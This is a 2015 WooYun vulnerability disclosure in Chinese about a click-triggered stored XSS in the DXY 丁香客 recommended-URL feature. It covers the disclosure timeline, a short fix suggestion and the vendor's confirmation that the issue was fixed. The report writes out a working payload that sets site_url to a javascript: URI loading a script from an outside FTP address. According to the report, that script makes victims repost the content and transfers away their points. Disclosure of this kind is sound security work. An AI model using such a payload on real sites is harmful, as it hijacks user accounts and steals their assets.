当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114825

漏洞标题:丁香客 推荐网址处xss 需点击

相关厂商:丁香园

漏洞作者: 小乌云

提交时间:2015-05-19 09:52

修复时间:2015-07-03 11:30

公开时间:2015-07-03 11:30

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-19: 细节已通知厂商并且等待厂商处理中
2015-05-19: 厂商已经确认,细节仅向厂商公开
2015-05-29: 细节向核心白帽子及相关领域专家公开
2015-06-08: 细节向普通白帽子公开
2015-06-18: 细节向实习白帽子公开
2015-07-03: 细节向公众公开

简要描述:

语文没学好 之前写的有点乱.在个人的丁香客界面可以推荐网址,在分享时后台未对url进行过滤 造成点击时的xss.

详细说明:

过程:
编写内容

catch1.png


抓包 修改site_url为javascript:$.getScript('ftp://42.96.133.85/dxy.js')

catch2.png


此js可让他人转发 也可转走他人丁当
修改任意标题.再加上具有的引导言语,可引导用户点击

漏洞url: 可关注dasferwq2 再回到自己的丁香客 点击dasferwq2推荐的网址

漏洞证明:

证明1:修改site_url成功发布

zheng1.png


证明2:切换另一个号来点击

zheng2.png


证明3:点击后转发并被转走丁当

zheng3.png


证明4:点击后发布相同内容

zheng4.png

修复方案:

过滤吧 转丁当处加下验证

版权声明:转载请注明来源 小乌云@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-05-19 11:29

厂商回复:

非常感谢,我们马上去修!

最新状态:

2015-05-19:XSS已修复。


漏洞评价:

评论